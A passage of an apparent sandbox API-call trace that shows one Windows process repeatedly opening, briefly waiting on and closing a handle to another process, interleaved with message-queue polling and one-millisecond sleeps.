0x1990 [0287.529] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.544] CloseHandle (hObject=0x1990) returned 1 [0287.544] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.544] Sleep (dwMilliseconds=0x1) [0287.560] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.560] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.576] CloseHandle (hObject=0x1990) returned 1 [0287.576] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.576] Sleep (dwMilliseconds=0x1) [0287.591] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.591] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.607] CloseHandle (hObject=0x1990) returned 1 [0287.607] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.607] Sleep (dwMilliseconds=0x1) [0287.622] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.622] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.638] CloseHandle (hObject=0x1990) returned 1 [0287.638] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.638] Sleep (dwMilliseconds=0x1) [0287.653] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.653] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.669] CloseHandle (hObject=0x1990) returned 1 [0287.669] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.669] Sleep (dwMilliseconds=0x1) [0287.685] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.685] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.701] CloseHandle (hObject=0x1990) returned 1 [0287.701] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.701] Sleep (dwMilliseconds=0x1) [0287.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.716] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.732] CloseHandle (hObject=0x1990) returned 1 [0287.732] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.732] Sleep (dwMilliseconds=0x1) [0287.747] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.747] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.774] CloseHandle (hObject=0x1990) returned 1 [0287.774] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.774] Sleep (dwMilliseconds=0x1) [0287.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.779] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.794] CloseHandle (hObject=0x1990) returned 1 [0287.794] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.794] Sleep (dwMilliseconds=0x1) [0287.810] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.810] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.825] CloseHandle (hObject=0x1990) returned 1 [0287.826] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.826] Sleep (dwMilliseconds=0x1) [0287.841] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.841] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.857] CloseHandle (hObject=0x1990) returned 1 [0287.857] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.857] Sleep (dwMilliseconds=0x1) [0287.872] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.872] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.888] CloseHandle (hObject=0x1990) returned 1 [0287.888] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.888] Sleep (dwMilliseconds=0x1) [0287.904] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.904] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.919] CloseHandle (hObject=0x1990) returned 1 [0287.919] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.919] Sleep (dwMilliseconds=0x1) [0287.935] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.935] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.950] CloseHandle (hObject=0x1990) returned 1 [0287.950] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.950] Sleep (dwMilliseconds=0x1) [0287.966] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0287.966] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0287.982] CloseHandle (hObject=0x1990) returned 1 [0287.982] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0287.982] Sleep (dwMilliseconds=0x1) [0288.004] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0288.004] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0288.013] CloseHandle (hObject=0x1990) returned 1 [0288.013] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.013] Sleep (dwMilliseconds=0x1) [0288.028] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0288.028] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0288.044] CloseHandle (hObject=0x1990) returned 1 [0288.044] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.044] Sleep (dwMilliseconds=0x1) [0288.060] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1990 [0288.060] WaitForSingleObject (hHandle=0x1990, dwMilliseconds=0xa) returned 0x102 [0288.075] CloseHandle (hObject=0x1990) returned 1 [0288.075] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.076] Sleep (dwMilliseconds=0x1) [0288.092] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19a8 [0288.092] WaitForSingleObject (hHandle=0x19a8, dwMilliseconds=0xa) returned 0x102 [0288.107] CloseHandle (hObject=0x19a8) returned 1 [0288.107] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.107] Sleep (dwMilliseconds=0x1) [0288.122] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19ac [0288.122] WaitForSingleObject (hHandle=0x19ac, dwMilliseconds=0xa) returned 0x102 [0288.138] CloseHandle (hObject=0x19ac) returned 1 [0288.138] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.138] Sleep (dwMilliseconds=0x1) [0288.153] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19ac [0288.154] WaitForSingleObject (hHandle=0x19ac, dwMilliseconds=0xa) returned 0x102 [0288.169] CloseHandle (hObject=0x19ac) returned 1 [0288.169] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.169] Sleep (dwMilliseconds=0x1) [0288.185] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19ac [0288.185] WaitForSingleObject (hHandle=0x19ac, dwMilliseconds=0xa) returned 0x102 [0288.201] CloseHandle (hObject=0x19ac) returned 1 [0288.201] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.201] Sleep (dwMilliseconds=0x1) [0288.217] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19b4 [0288.217] WaitForSingleObject (hHandle=0x19b4, dwMilliseconds=0xa) returned 0x102 [0288.232] CloseHandle (hObject=0x19b4) returned 1 [0288.232] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.232] Sleep (dwMilliseconds=0x1) [0288.254] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19c0 [0288.254] WaitForSingleObject (hHandle=0x19c0, dwMilliseconds=0xa) returned 0x102 [0288.263] CloseHandle (hObject=0x19c0) returned 1 [0288.263] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.263] Sleep (dwMilliseconds=0x1) [0288.281] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19cc [0288.281] WaitForSingleObject (hHandle=0x19cc, dwMilliseconds=0xa) returned 0x102 [0288.294] CloseHandle (hObject=0x19cc) returned 1 [0288.294] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.294] Sleep (dwMilliseconds=0x1) [0288.310] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19cc [0288.310] WaitForSingleObject (hHandle=0x19cc, dwMilliseconds=0xa) returned 0x102 [0288.326] CloseHandle (hObject=0x19cc) returned 1 [0288.326] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.326] Sleep (dwMilliseconds=0x1) [0288.341] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19cc [0288.341] WaitForSingleObject (hHandle=0x19cc, dwMilliseconds=0xa) returned 0x102 [0288.357] CloseHandle (hObject=0x19cc) returned 1 [0288.357] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.357] Sleep (dwMilliseconds=0x1) [0288.372] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19cc [0288.372] WaitForSingleObject (hHandle=0x19cc, dwMilliseconds=0xa) returned 0x102 [0288.388] CloseHandle (hObject=0x19cc) returned 1 [0288.388] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.388] Sleep (dwMilliseconds=0x1) [0288.404] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19cc [0288.404] WaitForSingleObject (hHandle=0x19cc, dwMilliseconds=0xa) returned 0x102 [0288.419] CloseHandle (hObject=0x19cc) returned 1 [0288.419] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.419] Sleep (dwMilliseconds=0x1) [0288.435] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19cc [0288.435] WaitForSingleObject (hHandle=0x19cc, dwMilliseconds=0xa) returned 0x102 [0288.451] CloseHandle (hObject=0x19cc) returned 1 [0288.451] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.451] Sleep (dwMilliseconds=0x1) [0288.466] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19cc [0288.466] WaitForSingleObject (hHandle=0x19cc, dwMilliseconds=0xa) returned 0x102 [0288.484] CloseHandle (hObject=0x19cc) returned 1 [0288.484] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.484] Sleep (dwMilliseconds=0x1) [0288.497] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19cc [0288.497] WaitForSingleObject (hHandle=0x19cc, dwMilliseconds=0xa) returned 0x102 [0288.513] CloseHandle (hObject=0x19cc) returned 1 [0288.513] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.513] Sleep (dwMilliseconds=0x1) [0288.528] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19cc [0288.528] WaitForSingleObject (hHandle=0x19cc, dwMilliseconds=0xa) returned 0x102 [0288.544] CloseHandle (hObject=0x19cc) returned 1 [0288.544] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.544] Sleep (dwMilliseconds=0x1) [0288.561] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19cc [0288.561] WaitForSingleObject (hHandle=0x19cc, dwMilliseconds=0xa) returned 0x102 [0288.576] CloseHandle (hObject=0x19cc) returned 1 [0288.576] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.576] Sleep (dwMilliseconds=0x1) [0288.598] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0288.598] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0288.607] CloseHandle (hObject=0x19e4) returned 1 [0288.607] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.607] Sleep (dwMilliseconds=0x1) [0288.622] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0288.622] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0288.639] CloseHandle (hObject=0x19e4) returned 1 [0288.639] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.639] Sleep (dwMilliseconds=0x1) [0288.653] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0288.653] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0288.669] CloseHandle (hObject=0x19e4) returned 1 [0288.669] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.669] Sleep (dwMilliseconds=0x1) [0288.685] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0288.685] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0288.701] CloseHandle (hObject=0x19e4) returned 1 [0288.701] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.701] Sleep (dwMilliseconds=0x1) [0288.716] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0288.716] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0288.732] CloseHandle (hObject=0x19e4) returned 1 [0288.732] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.732] Sleep (dwMilliseconds=0x1) [0288.747] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0288.747] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0288.774] CloseHandle (hObject=0x19e4) returned 1 [0288.774] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.774] Sleep (dwMilliseconds=0x1) [0288.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0288.779] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0288.794] CloseHandle (hObject=0x19e4) returned 1 [0288.794] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.794] Sleep (dwMilliseconds=0x1) [0288.810] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0288.810] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0288.826] CloseHandle (hObject=0x19e4) returned 1 [0288.826] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.826] Sleep (dwMilliseconds=0x1) [0288.841] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0288.841] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0288.857] CloseHandle (hObject=0x19e4) returned 1 [0288.857] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.857] Sleep (dwMilliseconds=0x1) [0288.872] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0288.872] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0288.888] CloseHandle (hObject=0x19e4) returned 1 [0288.888] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.888] Sleep (dwMilliseconds=0x1) [0288.904] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0288.904] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0288.919] CloseHandle (hObject=0x19e4) returned 1 [0288.919] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.919] Sleep (dwMilliseconds=0x1) [0288.935] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0288.935] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0288.953] CloseHandle (hObject=0x19e4) returned 1 [0288.953] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.953] Sleep (dwMilliseconds=0x1) [0288.966] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0288.966] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0288.982] CloseHandle (hObject=0x19e4) returned 1 [0288.982] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0288.982] Sleep (dwMilliseconds=0x1) [0289.004] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0289.004] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0289.014] CloseHandle (hObject=0x19e4) returned 1 [0289.014] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.014] Sleep (dwMilliseconds=0x1) [0289.052] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0289.052] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0289.060] CloseHandle (hObject=0x19e4) returned 1 [0289.060] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.060] Sleep (dwMilliseconds=0x1) [0289.075] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0289.075] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0289.091] CloseHandle (hObject=0x19e4) returned 1 [0289.091] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.091] Sleep (dwMilliseconds=0x1) [0289.108] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0289.108] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0289.122] CloseHandle (hObject=0x19e4) returned 1 [0289.122] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.122] Sleep (dwMilliseconds=0x1) [0289.138] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0289.138] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0289.154] CloseHandle (hObject=0x19e4) returned 1 [0289.154] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.154] Sleep (dwMilliseconds=0x1) [0289.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0289.169] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0289.185] CloseHandle (hObject=0x19e4) returned 1 [0289.185] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.185] Sleep (dwMilliseconds=0x1) [0289.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x19e4 [0289.200] WaitForSingleObject (hHandle=0x19e4, dwMilliseconds=0xa) returned 0x102 [0289.216] CloseHandle (hObject=0x19e4) returned 1 [0289.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.216] Sleep (dwMilliseconds=0x1) [0289.237] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1a14 [0289.237] WaitForSingleObject (hHandle=0x1a14, dwMilliseconds=0xa) returned 0x102 [0289.248] CloseHandle (hObject=0x1a14) returned 1 [0289.248] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.248] Sleep (dwMilliseconds=0x1) [0289.263] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1a28 [0289.263] WaitForSingleObject (hHandle=0x1a28, dwMilliseconds=0xa) returned 0x102 [0289.284] CloseHandle (hObject=0x1a28) returned 1 [0289.284] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.284] Sleep (dwMilliseconds=0x1) [0289.300] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1a44 [0289.300] WaitForSingleObject (hHandle=0x1a44, dwMilliseconds=0xa) returned 0x102 [0289.310] CloseHandle (hObject=0x1a44) returned 1 [0289.310] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.310] Sleep (dwMilliseconds=0x1) [0289.325] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1a54 [0289.325] WaitForSingleObject (hHandle=0x1a54, dwMilliseconds=0xa) returned 0x102 [0289.343] CloseHandle (hObject=0x1a54) returned 1 [0289.343] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0289.343] Sleep (dwMilliseconds=0x1) [0289.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x1a54 [0289.357] WaitForSingleObject (hHandle=0x1a54, 